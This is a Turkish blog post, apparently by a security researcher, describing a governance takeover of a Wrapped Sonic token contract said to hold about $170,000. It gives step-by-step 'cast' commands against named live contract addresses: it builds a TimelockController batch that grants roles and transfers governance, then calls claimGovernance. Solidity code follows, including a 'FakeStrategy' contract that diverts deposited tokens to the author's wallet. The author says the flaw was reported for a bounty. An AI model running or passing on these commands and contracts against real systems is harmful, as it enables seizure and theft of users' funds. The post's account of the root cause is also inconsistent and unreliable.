170.000 $

Ufak uyarı: Göstermiş olduğum örnek origin altyapısını kullanmakta. Öncelikle hedefimiz bu

170k dolar değerinde wrapped coin bulunuyor, sonic altyapısını kullanan bu tokeni bende ilk defa zafiyet ararken buldum. Buranın içinde kod analizine girdiğimde bir açık yok ancak yönetici aktiviteleri için yönlendirme yaptığı adres çok sıkıntılı, kendi içinde tüm aktivitelerin yöneticisi olarak Governor rolü belirlenmiş ama governor rolüne atanan bir kimse yok yani isteyen ilk kişi kendisini yönetici yapabiliyordu

Bu kontratın Governor’ı 0x31a91336414d3b955e494e7d485a6b06b55fc8fb adresindeki TimelockController kontratıydı.
Orada AccessControl ile yönetilen EXECUTOR ve PROPOSER rolleri vardı, biz de role sahip olarak yönetimi ele geçirip kendimize Governor rolünü verdik.

Anlatım

elimizdeki bilgiler aşşağıdaki gibi

WS token (Wrapped Sonic): 0xa3c0eCA00D2B76b4d1F170b0AB3FdeA16C180186
TimelockController (Governor): 0x31a91336414d3b955e494e7d485a6b06b55fc8fb
Senin cüzdanın (örnek): 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217

1- Rol Hashleri

cast keccak “PROPOSER_ROLE” # => PROPOSER_ROLE hash
cast keccak “EXECUTOR_ROLE” # => EXECUTOR_ROLE hash
cast keccak “TIMELOCK_ADMIN_ROLE” # => TIMELOCK_ADMIN_ROLE hash

2- Mevcut konfigürasyonu okumak

Gerekenler: minDelay, kimde hangi rol var, executor açık mı (0x000…000 herkesi ifade eder).

# min delay
cast call 0x31a91336414d3b955e494e7d485a6b06b55fc8fb "getMinDelay()(uint256)"

# roller (örnek, hash’i yukarıdan roleHash ile değiştir)
cast call 0x31a91336414d3b955e494e7d485a6b06b55fc8fb "hasRole(bytes32,address)(bool)" \
  <PROPOSER_ROLE_HASH> 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217

cast call 0x31a91336414d3b955e494e7d485a6b06b55fc8fb "hasRole(bytes32,address)(bool)" \
  <EXECUTOR_ROLE_HASH> 0x0000000000000000000000000000000000000000

Eğer EXECUTOR 0x000…000 ise: “herkes execute edebilir” anlamına gelir (kritik yanlış konfig). minDelay == 0 ise işler çok kolay (anında schedule→execute).

3- BATCH HAZIRLAMA

Hedef batch (aynı anda çağrılacak fonksiyonlar):

Timelock.grantRole(PROPOSER_ROLE, biz) → ileriye dönük planlama serbestisi
Timelock.grantRole(EXECUTOR_ROLE, 0x000…000 veya biz) → herkes/biz execute edebilelim
VaultCore.transferGovernance(attacker) veya VaultCore tarafındaki “governor set” türevi fonksiyon (sende VaultCore’un ABI’sine göre değişebilir)

Bazı VaultCore’larda iki adım vardır: transferGovernance(newGov) → sonra claimGovernance() (biz çağırırız).

3.1 calldataları çıkar

cast calldata "grantRole(bytes32,address)" <PROPOSER_ROLE_HASH> 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217

# grantRole(EXECUTOR_ROLE, 0x000...000)  (ya da kendi adresin)
cast calldata "grantRole(bytes32,address)" <EXECUTOR_ROLE_HASH> 0x0000000000000000000000000000000000000000

cast calldata "transferGovernance(address)" 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217

3.2 batch parametrelerini kur

TARGETS='["0x31a91336414d3b955e494e7d485a6b06b55fc8fb","0x31a91336414d3b955e494e7d485a6b06b55fc8fb","0xa3c0eCA00D2B76b4d1F170b0AB3FdeA16C180186"]'

VALUES='[0,0,0]'
#yukarıda ürettiğin 3 calldata stringini sırayla koy
DATAS='["0x<calldata1>","0x<calldata2>","0x<calldata3>"]'
PREDECESSOR=0x0000000000000000000000000000000000000000000000000000000000000000
SALT=0x1111111111111111111111111111111111111111111111111111111111111111
DELAY=0   # (getMinDelay 0 değilse, o değeri kullan; 0 ise direkt yürür)

5- executeBatch

herkese açıksa herkes çağırabilir mindelay 0 geçtiyse direkt:

cast send 0x31a91336414d3b955e494e7d485a6b06b55fc8fb \
 "executeBatch(address[],uint256[],bytes[],bytes32,bytes32)" \
 "$TARGETS" "$VALUES" "$DATAS" $PREDECESSOR $SALT

Bu batch şunları yapar:

Sana PROPOSER verir,
EXECUTOR’ı genişletir (isteğe göre herkese),
VaultCore.transferGovernance(attacker) çağrılır.

6- Claim Vakti

cast send 0xa3c0eCA00D2B76b4d1F170b0AB3FdeA16C180186 "claimGovernance()"

Tüm bu adımlardan sonra Governance rolünü ele geçirmiş oldum yani 170k dolar değerindeki tokeni istediğim heryere sürebiliyordum. İçimde ki Allah korkusu ve iyi niyet bastı, gidip bu açığı raporladım. ücreti mukabilinde bir ödeme aldım sağolsunlar.

Uğraşmak istemiyom

https://remix.ethereum.org/ kendi metamask hesabınla giriş yap, 3 4 dolar birşey attım içine denemek için, burdada aynı adresi yokladığımda bu adrese hiçbir allahın kulu konmamıştı, yani gene gene gene istediğim adrese istediğim şekilde tokeni yollayabiliyodum.

aşşağıda vericeğim kodları tek tek contract kısmına girerekte claim yapabilirsin. ama metamask hesabına sonic alt yapısını kurman ve içerisinde min 3 dolar tutman lazım yoksa ağ çalışmaz, çalışınca böyle bir ekran alırsın sağ altta

Okuduğunuz için teşekkürler. Aşağıya exploit kodlarını bıraktım. Bunları incelersiniz bi. VAULTCORE.SOL

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VaultCore {
    address public governor;

    function initialize(address _priceProvider, address _oToken) external {
        require(governor == address(0), "Already initialized");
        governor = msg.sender;
    }
}

FAKESTRATEGY.SOL (PARA NASIL ÇEKİLİR ONUN KODU, MERAKLISINA GİDER..=)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract FakeStrategy {
    address public target = 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217; // Benim adresim, para atacaklar şimdiden teşekkürler.

    function deposit(address asset, uint256 amount) external {
        IERC20(asset).transfer(target, amount); // buraya para çekiliyor
    }

    function supportsAsset(address) external pure returns (bool) {
        return true;
    }

    function checkBalance(address) external pure returns (uint256) {
        return 0;
    }

    function withdraw(address, address, uint256) external {}
}

Timelock protokol zafiyeti değil, eksik initialization zafiyeti.

Genel

Opsec

ReserveEng

Siber Güvenlik

Web3

CTI

CTF

Anlatım

1- Rol Hashleri

2- Mevcut konfigürasyonu okumak

3- BATCH HAZIRLAMA

3.1 calldataları çıkar

5- executeBatch

6- Claim Vakti

Uğraşmak istemiyom

​Anlatım

​1- Rol Hashleri

​2- Mevcut konfigürasyonu okumak

​3- BATCH HAZIRLAMA

​3.1 calldataları çıkar

​5- executeBatch

​6- Claim Vakti

​Uğraşmak istemiyom

Anlatım

1- Rol Hashleri

2- Mevcut konfigürasyonu okumak

3- BATCH HAZIRLAMA

3.1 calldataları çıkar

5- executeBatch

6- Claim Vakti

Uğraşmak istemiyom